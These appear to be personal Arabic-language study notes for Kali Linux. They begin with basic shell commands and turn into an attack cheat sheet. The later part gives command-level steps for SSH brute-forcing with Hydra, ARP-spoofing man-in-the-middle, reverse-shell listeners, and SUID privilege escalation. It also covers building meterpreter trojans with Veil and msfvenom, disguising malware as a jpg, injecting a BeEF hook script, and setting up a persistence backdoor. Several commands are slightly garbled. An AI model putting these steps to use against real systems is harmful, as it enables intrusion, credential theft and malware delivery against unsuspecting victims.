Kali linux

Pwd=تحديد مكان المستخدم

Ls =لعرض جميع الملفات في الكمبيوتر

Ls –d \*/🡺 لعرض المجلدات

Ls \*🡺 عرض الملفات

Ls –lh🡺 عرض تفاصيل الملفات والجلدات

Ls –s🡺 عرض الملفات حسب الحجم

Ls –s > outputs.txt 🡺 عرض المفات في ملف مش بالشاشه

Ls –a 🡺 عرض الملفات المخفيه

Rm +ملف 🡺 حذف الملف\

Uname –all🡺لعرض معلومات النظام

Ifconfig | grep inet 🡺 عرض جميع الخيارات الموجوده ب inet

Wget + url🡺 تحميل الموقع عالجهاز

Cat namefile | grep –I –o “[a-z0-9]” \* .url |sort -u

Cd=cd Desktopللدخول ع قسم معين مثال ويجب مراعاة الحروف اذا كبيره او صغيره

Mkdir=انشاء ملف

Cd .. =للرجوع بالمسار

Touch=لانشاء ملف نصي

Cp =نقل الملفات من مكان لمكان

Cp note.text test2/note.text=نقل الملف الى مجلد بنفس موقع الملف

Mv= cpقص لصق نفس طريقة كتابه

Rm=حذف ملف نصي

r –help=بتستفيد بالحذف

Man شرح كامل عن الاداة=اسم الكود مثلا ار ام

Whatis rm=تعريف للوظيفه

Sudo su=التحويل للروت

Exit=للخروج من الروت

Apt update=تحديث لمدير الحزم

Apt upgrade=تحديث جميع البرامج

Apt install=لتحميل البرامج

Cat=عرض ملف الكتابه

Nano= الكتابه ع ملف الكتابه

Ls –al=لعرض المجلدات حتى المخفي منها

Mkdir .test=انشاء مجلد مخفي باسم تيست

Ifconfig=عرض الايبي ادريس

Echo ‘hgsh’> test.notللتعديل ع كتابه داخل ملف الكتابه=

نفس الكود يلي فوق لو حطينا اشرة اكبر مرتين جنب بعض بخلي الكلام يلي قبل وبكتب بالسطر يلي تحته كلام الجديد

Openvpn=تفعيل في بي ان

tls-cipher “DEFAULT:@SECLEVEL=0”=لحل مشكلة التوثيق بالفي بي ان

لتغير الدي ان بحاجة لتعديل ع الملف

1-nano /etc/resolv.conf

2-nameserver 8.8.8.8 8.8.4.4

ونضع#قبل الدي ان القديم

Cd tor-browser=الدخول الى ملف التور

./start -tor-browser.desktop=تشغيل التور

Leafpad start-tor-browser =تعديل ع الملف

Duckduckgo=قوقل نسخة تور

Hidden wiki=موقع ع التور بفتحلك روابط اونيون

Ifconfig eth0 down=ايقاف بطاقة الشبكة

Macchanger =لتعديل الماك ادريس

Ifconfig eth0 up=تشغيل بطاقة الشبكة

Netdiscover –i eth0 –r 10.0.2.0/24 –c 10=عرض الاجهزة

المتصله ع الشبكة

Hydra –I username –p wordlist ip ssh= تشغيل الهجوم

Ssh username@ipالدخول=

Nmap+ip/24=عرض الاجهزة المتصله بشكل اوضح

خطوات الاختراق كل خطوه ع تاريمنل لحالها

1-Arpspoof –i eth0 –t ip pc ipwifi

2-arpspoof –i eth0 -t ip wifi ip pc

3-cat /proc/sys/net/ipv4/ip\_forward=اذا ساوت صفر نقوم بكتابه الكود التالي

Echo 1 > /proc/sys/net/ipv4/ip\_forward

Nmap –p- ip =ابحثلي في جميع البورتات

بعد ما تطلع النتائج

Nmap –sv –sc ip –p لمعرفة اصدار السيرفر ونوع النظام=الارقام يلي طلعت من البحث

Service apache2 start =تشغيل سيرفر الاباتشي

Server apache2 stop=ايقاف سيرفر الاباتشي

Gobuster dir –u رابط الموقع –w موقع ملف كلمات السر

.php,.php2,.php3,.php4,.phtmal

Nc –lnvp port= للتنصت ع البورت

$Id or$ whoami لكشف معلومات المستخدم بعد نجاح التنصت=

$which pyton=لمعرفة اصدار بايثون

1.Ctrl+z

2.Stty raw –echo I fg I reset =عدم الخروج من البرنامج حتى لو ضغطنا ع كنترل سي

Find / -perm –u=s 2>/dev/null=

Ls –al وحدة من الملفات الموجودة بالكود القبل

موقع gtfobins= بحث عن ملف بايثون

مكان الملف +الكلام من الموقع

Nmap –p- -Pn ip

Rdesktop –u user ip

ftp ip كلمة السر ورمز المستخدم =anonymous

Ls –al=لاظهار الملفات المخفيه

Get id\_rsa= لتحميل الملف

Chmod id\_rsa=لتعديل الصلاحيات ع الملف

Ssh hannah@ip –I id\_rsa –p رقم البورت

Msfconsole = لتشغيل الميتاسبلوي

Search wordpress = عرض الثغرات

Use رقم الثغرة او اسمها

Show options=اظهار التفاصيل

داخل البرنامج بنستعمل set لتلقي الاوامر

وبعدين run

Cd usr/share/veil

Python veil.py= وهيك اشتغلت الاداة

Use 1 🡺list 🡺use 14

1.set LHOST youip

2.set LPORT 8080

3.generate= تم انشاء الملف

Msfconsole = لتشغيل الميتاسبلوي

Use exploit/multi/handler 🡺show options

Set PAYLOAD windows/meterpreter/reverse\_http

بعد اضافة المطلوب يتم عمل

Run or exploit

Cd /var/www/html 🡺ls🡺cd abdalla

Mv /var/lib/veil/output/compiled/abdalla.exe .

نشغل الان سيرفر الاباتشي

Python3 trojan\_factory.py –f jpj url –e رابط الملف الضار –oموقع المراد وضع الملف فيه +اسمه -I موقع الايكون

Jave –jar rtlo.jar= خدعه نظريه لتحويل الملف لجي بي جي

./beef =لتشغيل اداة البيف

Cd /var/www/html🡺nano index.html

<script src=” url hook”></script>

Bettercap –iface eth0 –caplet /usr/local/share/bettercap/caplets/beef/beef.cap= تشغيل ملف كامل يحتوي ع خطوات اليبيتر كاب

./ngrok tcp 4040= تفعيل البورت

Msfvenom –p مكان –a x86 –-platform windows lhost= االرابط يلي اعطوك اياه lport= رقم البورت -f exe –o مكان الملف المراد وضعه فيه

في الميتا سبلوي

Set LPORT 4242

Set LHOST 0.0.0.0= للتنصت ع جميع الشبكة

Set PAYLOAD windows/meterpreter/reverse\_tcp

Sysinfo = لمعرفة مواصفات الجهاز المخترق

Dir = تفاصيل الملفات الموجودة ع الحهاز المخترق

Setoolkit –help

ميتاسبلوي

background

Use exploit/windows/local/persistence = فتح باب دائم

Shodan = موقع معلومات عن انترنت الاشياء

Md5sum = نوع من انواع التشفير

Shasum = نوع من انواع التشفير

Md5sum decrption = موقع لفك التشفير

Hashcat –help

Hashcat –help | greb md5 =لعرض جميع المعلومات يلي فيها md5

Hash-identifier= لمعرفة نوع الهاش

Hashcat –m رمز التشفير + مكان كلمات السر+الهاش مراد الهاش